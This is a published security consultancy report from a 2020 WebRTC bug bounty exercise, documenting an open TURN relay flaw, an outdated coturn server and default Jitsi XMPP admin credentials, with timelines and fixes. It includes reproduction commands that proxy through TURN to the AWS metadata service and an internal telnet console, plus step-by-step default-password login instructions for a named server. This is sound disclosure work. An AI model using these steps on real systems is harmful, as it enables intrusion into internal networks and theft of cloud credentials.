Confidential Document

ENABLE SECURITY

OPERATE WITH CONFIDENCE

BUG BOUNTY BOUT 0X01 - WEBRTC EDITION

TECHNICAL REPORT

Prepared by: Sandro Gauci, Senior Consultant and Director, Enable Security GmbH

Prepared for: Enable Security GmbH

Date: 16 Jun 2020

CONTENTS

1. CHANGELOG

- 2020-04-23: work concluded, internal reports produced
- 2020-06-16: report anonymized where needed for publication

2. INTRODUCTION

The bug bounty bout was performed by Sandro Gauci, Alfred Farrugia and Pinaki Mondal of Enable Security on the targets during April 2020. Initially, the testers took a targeted approach in terms of methodology but towards the end, the opportunistic path was found to give better results for the wide range of targets considered during the time allocated. Tests were done remotely, and in various cases, reproduced in lab environment with a special focus on manual security testing. A black-box methodology was used, but source code for open source applications was consulted where possible.

2.1 PURPOSE AND LIMITATIONS

The purpose of this exercise was to identify security flaws within WebRTC systems that were in scope for bug bounties and vulnerability disclosure programs.

Denial of service attacks were generally outside the scope of this exercise and were therefore avoided. Special caution was applied where necessary.

2.2 SCOPE

The list of targets that offer bug bounties in the RTC space can be found internally at Enable Security.

3. FINDINGS AND RECOMMENDATIONS

This is the main section of the report which lists individual security vulnerabilities. Please keep in mind that each vendor might have been affected by more than one vulnerability.

Refer to the Appendix for the severity level definition.

Note that one of the vendors to which we reported vulnerabilities did not allow any disclosure and therefore we replaced its name with VendorX. We also replaced the hostnames in this the report where required.

VendorX is a major provider in the CPaaS (Communications Platform as a Service) business.

3.1 OPEN TURN RELAY ABUSE AFFECTS MULTIPLE VENDORS AND PRODUCTS DUE TO LACK OF PEER ACCESS CONTROL (CRITICAL)

- Affects:
    - 8x8, Jitsi-based-platformA
    - 8x8, Jitsi-based-platformB
    - VendorX, platformA
    - VendorX, platformB
    - Signal Messenger TURN server (severity appears to be negligible)

3.1.1 Description

The affected TURN servers did not put any restrictions on peer which allows remote attackers to bypass firewall rules and reach internal services such as the AWS internal network.

The TURN servers at VendorX, platformA and platformB as well as Signal's TURN server appeared to allow relaying to both TCP and UDP peers.

In the case of 8x8, platformA, both TCP and UDP peers could be specified, while platformB appeared to restrict TCP and only allow UDP.

Full details of how this vulnerability had affected a separate vendor, Slack, in the past, was published on our blog[1].

The individual report for 8x8 was disclosed on HackerOne:

[1] https://www.rtcsec.com/2020/04/01-slack-webrtc-turn-compromise/

- Open TURN relay abuse is possible due to lack of peer access control (Critical)[1]

Note that in the case of Signal Messenger, based on Signal's own assessment, this vulnerability does not appear to be critical.

3.1.2 Impact

Abuse of this vulnerability allows attackers to:

- control Coturn by connecting to the telnet server on port 5766; allows writing of files on disk (e.g. using `psd` command), display and editing of the coturn configuration, stopping the server (applied to some of the affected vendors but not all)
- connecting to the AWS meta-data service and retrieving IAM credentials for user `ec2-instance`, viewing user-data configuration etc
- scanning `127.0.0.1` and internal network on `10.0.0.0/24` (etc) and connecting to internal services

We think that it is likely that abuse of the coturn telnet server could lead to remote code execution on the server and further penetration inside some of the affected vendor's infrastructure.

3.1.3 How to reproduce the issue

1. Retrieved temporary TURN credentials for each affected vendor by:
   - making use of Chrome's devtools
   - open the network tab, filtering just WS connections
   - perform vendor-specific step specific
   - observe the TURN hostname and credentials
2. Made use of an internal tool called `stunner` as follows: `stunner recon tls://target:443 -u tmpuser:tmppasswd`
3. Made use of stunner's port scanner and socks proxy to reach the telnet server, AWS meta-data service and so on.

In the case of Signal, the first step involved retrieving the user authentication token then retrieving the TURN credentials from the relevant endpoint.

Note that we restricted our tests to just the following to avoid causing denial of service to the system:

- Read access to AWS meta-data service
- Only running `help` and `pc` commands on coturn telnet server (other commands may be destructive)

The following is an excerpt from the connection to the AWS meta service:

```
printf "GET / HTTP/1.1\r\n\r\n" | stunner turn peer proxy \
  payload tcp://target:80 \
  -u\"tmpuser\":\"tmppasswd\" \
  --peer 169.254.169.254:80
```

[1] https://hackerone.com/reports/843256

```
INFO[2020-04-14 15:04:45] Starting TURN peer proxy
INFO[2020-04-14 15:04:45] recv: HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: none
Last-Modified: Tue, 14 Apr 2020 12:55:43 GMT
Content-Length: 241
Date: Tue, 14 Apr 2020 13:04:45 GMT
Server: EC2ws
Connection: close

1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
2019-10-01
latest
```

3.1.4 Solutions and recommendations

Our recommendation is to apply a configuration that denies internal IP addresses from being reachable.

An example configuration for coturn would be the following:

```
no-multicast-peers
```

```
denied-peer-ip=0.0.0.0-0.255.255.255
denied-peer-ip=10.0.0.0-10.255.255.255
denied-peer-ip=100.64.0.0-100.127.255.255
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=169.254.0.0-169.254.255.255
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=172.16.0.0-172.31.255.255
denied-peer-ip=192.0.0.0-192.0.0.255
denied-peer-ip=192.0.2.0-192.0.2.255
denied-peer-ip=192.88.99.0-192.88.99.255
denied-peer-ip=192.168.0.0-192.168.255.255
denied-peer-ip=198.18.0.0-198.19.255.255
denied-peer-ip=198.51.100.0-198.51.100.255
denied-peer-ip=203.0.113.0-203.0.113.255
denied-peer-ip=240.0.0.0-255.255.255.255
```

In some older versions, you might also want to use the `no-loopback-peers` option.

3.1.5 Retest results

In each case, this issue was retested in April 2020 by attempting to run the same test with `stunner` again and observing that output similar to the following:

```
INFO[2020-04-09 08:47:38] CREATEPERMISSION allowed peers over udp: 8.8.8.8:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION forbidden peers over udp: 169.254.169.254:80,
127.0.0.1:80, 0.0.0.0:80, 10.0.0.1:80, 100.64.0.0:80, 169.254.0.1:80, 192.0.0.1:80,
192.0.2.1:80, 192.168.0.1:80, 198.18.0.1:80, 198.51.100.1:80, 224.0.0.1:80, 240.0.0.1:80,
255.255.255.255:80
INFO[2020-04-09 08:47:38] CHANNELBIND allowed peers over udp: 8.8.8.8:80
INFO[2020-04-09 08:47:38] CHANNELBIND forbidden peers over udp: 169.254.169.254:80,
127.0.0.1:80, 0.0.0.0:80, 10.0.0.1:80, 100.64.0.0:80, 169.254.0.1:80, 192.0.0.1:80,
192.88.99.1:80, 192.168.0.1:80, 198.18.0.1:80, 198.51.100.1:80, 203.0.113.1:80,
224.0.0.1:80, 240.0.0.1:80, 255.255.255.255:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION allowed peers over tcp: 8.8.8.8:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION forbidden peers over tcp: 169.254.169.254:80,
127.0.0.1:80, 0.0.0.0:80, 10.0.0.1:80, 100.64.0.0:80, 169.254.0.1:80, 192.0.0.1:80,
192.0.2.1:80, 192.88.99.1:80, 192.168.0.1:80, 198.18.0.1:80, 198.51.100.1:80,
203.0.113.1:80, 224.0.0.1:80, 240.0.0.1:80, 255.255.255.255:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION allowed peers over tls: 8.8.8.8:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION forbidden peers over tls: 169.254.169.254:80,
127.0.0.1:80, 0.0.0.0:80, 10.0.0.1:80, 100.64.0.0:80, 169.254.0.1:80, 192.0.0.1:80,
192.0.2.1:80, 192.88.99.1:80, 192.168.0.1:80, 198.18.0.1:80, 198.51.100.1:80,
203.0.113.1:80, 224.0.0.1:80, 240.0.0.1:80, 255.255.255.255:80
INFO[2020-04-09 08:47:38] successfully returned
```

In each case, the issue was confirmed to be addressed.

In the case of Signal, we received the following statement on 17 April:

> Our TURN servers are located in an isolated AWS account that is dedicated solely to running coturn instances. Even though they do not run alongside any other infrastructure whatsoever, they are also in a VPC for further separation. Additionally, the access keys returned by the EC2 metadata service are associated with a role that doesn't have permission to do anything.

> Given the complete isolation that exists at the AWS account, VPC, and role level for these TURN servers, we do not believe that this has any potential impact to Signal or its users.

> Based on our testing, the policy that you recommended prevents TURN-to-TURN relay clients from successfully connecting to each other. If you have any ideas to help resolve that, we'd love to hear them. In the meantime, we have blocked access to the AWS metadata service IP out of an abundance of caution.

We agree that the security impact on Signal users appears to be negligible.

3.1.6 Timeline

- April 8 2020: report filed on HackerOne for 8x8
- April 9 2020: TURN servers updated by 8x8, retesting done and confirmed fix
- April 10 2020: report filed for VendorX
- April 15 2020: clarification requested by VendorX's vetting process, provided
- April 15 2020: report sent to Signal, made use of our vulnerability disclosure policy[1]
- April 17 2020: Signal responded and addressed the issue
- April 20 2020: VendorX confirmed issues
- April 22 2020: VendorX's production environment updated to fix issue
- April 23 2020: retesting done for VendorX and confirmed changes meant to fix the issue
- June 3 2020: VendorX agreed to anonymized publication of our report
- June 8 2020: 8x8 agreed to make redacted report public

[1] https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy

3.2 OUTDATED COTURN IS VULNERABLE TO KNOWN SECURITY ISSUES (HIGH)

- Affects:
    - 8x8, Jitsi-based-platformA
    - 8x8, Jitsi-based-platformB

3.2.1 Description

The version found to be installed on the affected hosts was `Coturn-4.5.0.8 'dan Eider'` which has known vulnerabilities including:

- CVE-2018-4056: coTURN Administrator Web Portal SQL injection vulnerability
- CVE-2018-4058: coTURN TURN server unsafe loopback forwarding default configuration vulnerability
- CVE-2018-4059: coTURN server unsafe telnet admin portal default configuration vulnerability
- Possibly CVE-2020-6062 and CVE-2020-6061 (not verified)
- DB/SQL injection in stun realm (according to the changelog)
- Insecure defaults (e.g. telnet server enabled by default on `127.0.0.1` without authentication)

The original report was disclosed (limited) on HackerOne:

- Outdated Coturn is vulnerable to known vulnerabilities (High)[1]

3.2.2 Impact

These missing security fixes, at least, in the case of platformA, indicate default settings that allow escalation of privileges through other vulnerabilities such as the TURN open relay vulnerability (that we consider to be a separate security issue), as in the case of the default telnet server.

The Administrator Web Portal vulnerabilities do not appear to be exploitable since the portal is not enabled.

3.2.3 How to reproduce the issue

Inspect the HTTP headers returned when running `curl -v`. For example:

```
curl -v targetA:443
```

In both cases, the `Server` header had the value of `Coturn-4.5.0.8 'dan Eider'`. It seemed that the security fixes are not backported, at least on `targetA:443`, since when exploiting the open TURN relay vulnerability, the telnet server was found to be switched on and required no authentication.

The following is an excerpt from the connection to the coturn telnet server:

[1] https://hackerone.com/reports/843263

```
proxychains -f config telnet 127.0.0.1 5766
[proxychains] config file found: config
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.13
Trying 127.0.0.1...
[proxychains] Dynamic chain  ...  127.0.0.1:9999  ...  127.0.0.1:5766  ...  OK
Connected to 127.0.0.1.
Escape character is '^]'.

> pc

  verbose: ON
  daemon process: ON
  stale-nonce: ON (*)
  stun-only: OFF (*)
  no-stun: OFF (*)
  secure-stun: OFF (*)
  do-not-use-config-file: OFF
  RFC5780 support: ON
  net engine version: 3
  net engine: UDP thread per CPU core
  enforce fingerprints: OFF
  mobility: OFF (*)
  udp-self-balance: OFF
  pidfile: /var/run/turnserver.pid
  process user ID: 0
  process group ID: 0
  process dir: /

  cipher-list: DEFAULT
  ec-curve-name: empty
  DH-key-length: 1066
  Certificate Authority file: empty
  Certificate file: /etc/ssl/star-vendor.crt
  Private Key file: /etc/ssl/star-vendor.key
  Listener addr: 127.0.0.1
  Listener addr: 10.0.0.3
  Listener addr: ::1
  no-udp: OFF
  no-tcp: OFF
  no-dtls: OFF
  no-tls: OFF
  TLSv1.0: ON
    TLSv1.1: ON
  TLSv1.2: ON
  listener-port: 443
  tls-listener-port: 5349
  alt-listener-port: 0
  alt-tls-listener-port: 0


  Relay addr: 10.0.0.3
  server-relay: OFF
  no-udp-relay: OFF (*)
  no-tcp-relay: OFF (*)
  min-port: 49152
  max-port: 65535
  no-multicast-peers: OFF (*)
  no-loopback-peers: OFF (*)

  DB type: SQLite
  DB: /var/lib/turn/turndb

  Default realm: example.org
  CLI session realm: example.org
...

> q
```

3.2.4 Solutions and recommendations

We highly recommend keeping Coturn updated with the latest security fixes.

3.2.5 Retest results

This issue could not be tested again since the open TURN relay issue was addressed, blocking access required to test the telnet server. It is understood that the affected vendor disabled the telnet server and applied hardening procedures to address our concerns.

3.2.6 Timeline

- April 8 2020: report filed on HackerOne
- April 9 2020: clarification sent to HackerOne vetting team
- April 10 2020: clarification sent to 8x8 security team
- April 13 2020: issue marked as fixed after mitigation was applied (disabling telnet server); report partially disclosed
- June 8 2020: permission gotten to publish redacted version of the report

3.3 DEFAULT XMPP ADMINISTRATIVE ACCOUNTS LEADING TO DOS AND POTENTIALLY, SPYING ON VIDEO CALLS, RCE (CRITICAL)

- Affects: `https://meet.simwood.com/`

3.3.1 Description

Simwood's Jitsi Meet server was found to have default administrative passwords which have recently been resolved on the official repository.

3.3.2 Impact

Abuse of this vulnerability leads to denial of service, and we think, might lead to spying on video calls. We have reason to believe that this might also lead to remote code execution but further research needs to be done to validate such concerns.

3.3.3 How to reproduce the issue

This issue can be reproduced by making use of Pidgin[1] and following these instructions:

1. Create a new account in Pidgin (use menu **Accounts > Manage accounts > Add**)
2. In protocol select XMPP
3. Username set to `focus`
4. Domain set to `auth.meet.jitsi`
5. Password set to `passw0rd` and select **Remember password**
6. Switch to advanced tab
7. Connection security set to **use encryption if available**
8. BOSH URL set to `https://meet.simwood.com/http-bind`
9. Click on the enabled checkbox if not enabled
10. Click on the `Accounts > focus@auth.meet.jitsi` menu and notice all the administrative functions that are available

An attacker might proceed to make use of the **Shutdown server** or change the focus user password to cause temporary or a more permanent DoS attack respectively. Additionally, we think that further research will show that remote code execution

[1] `https://pidgin.im/`

may be possible, as well as access to private rooms on Jitsi meet due to the elevated privileges given to this user.

3.3.4 Solutions and recommendations

We recommended updating the Jitsi Meet on Docker (if that is what is in use here) to the latest and following the procedure to reset the password as need be. That is, follow the instructions in the official README file which suggest running the following commands:

```
git pull
./gen-passwords.sh
docker-compose down
rm -r ~/.jitsi-meet-cfg/
mkdir -p ~/.jitsi-meet-cfg/{web/letsencrypt,transcripts,prosody,jicofo,jvb,jigasi,jibri}
docker-compose up -d
```

3.3.5 Retest results

This issue was retested on April 20th by running through the reproduction procedure. The issue was confirmed to be fixed.

It is understood that Simwood's Meet is not simply Jitsi Meet on Docker but rather an extended and distributed version that required further changes to address this issue other than those suggested in our solutions and recommendations section of this finding.

3.3.6 Timeline

- April 17 2020: reported issue to Simwood
- April 20 2020: confirmed to be fixed
- May 27 2020: permission gotten to publish report

We would like to thank Simwood for the quick turn around.

4. CONCLUSION

A number of tests were done on the target WebRTC infrastructures that were in our scope. Almost each vendor in scope had their own custom infrastructure and applications, therefore requiring dedicated research while taking a targeted approach. During the time allocated for this bounty bout, we realized that such effort was better spent focusing on known vulnerabilities. The TURN open relay vulnerability was, in fact, found to be wide spread enough to affect 3 of the vendors in our scope. This is possibly due the common requirement of having a TURN server for various types of WebRTC deployments. In the case of the Jitsi Meet for Docker default password, only one vendor was found to be vulnerable but we suspect that outside the scope of bug bounties and vulnerability disclosure programs, various other vendors may be affected.

Enable Security would like to thank all the bug bounty programs and vendors involved for their positive reception and for handling our reports in a professional and timely manner. In this report, the open TURN relay finding is stated as one generic finding since two of the affected vendors asked us to redact or anonymize the information. The outdated coTURN finding was also redacted as requested by the affected vendor.

We would like to especially thank Simwood for their open approach, allowing us to fully disclose the report that we provided to them, while quickly addressing the security issues and keeping us updated all throughout.

5. APPENDIX

5.1 SEVERITY LEVEL DEFINITION

We categorise each finding as one of the following:

- Critical: when the vulnerability allows direct compromise of user accounts, leakage of sensitive information or system compromise. Such vulnerabilities are straightforward to exploit and often lead to major security incidents.
- High: when the vulnerability is difficult to exploit. The attacker needs to have proper authentication or authorization, this may include social engineering.
- Medium: when a vulnerability allows for compromise when coupled with other vulnerabilities or exploitation techniques. Usually exploitation requires manipulation of individual victims via social engineering tactics.
- Low: when the security issue can only be exploited when privileged network or application access is already obtained; this normally means that the attacker has already compromised the target organisation.
- Info: have very little impact against the business. Exploitation of such vulnerabilities usually requires local or physical system or infrastructure access.

5.2 TOOLS USED

Tool	Description
SIPVicious PRO	Professional-grade security testing tools for VoIP and WebRTC targets
Stunner	An internal tool developed to test for STUN and TURN vulnerabilities
XMPPScanner	An internal tool developed to test for XMPP vulnerabilities
Custom python scripts	A number of custom internally developed python scripts were used to reproduce some of the security tests
Burp Suite Pro	An integrated platform for performing security testing of web applications.
Nmap	The most popular port scanner, allowing testers to enumerate open ports on the target hosts and identify services listening on those ports

5.3 METHODOLOGY

For the publication of this report, the methodology has been omitted.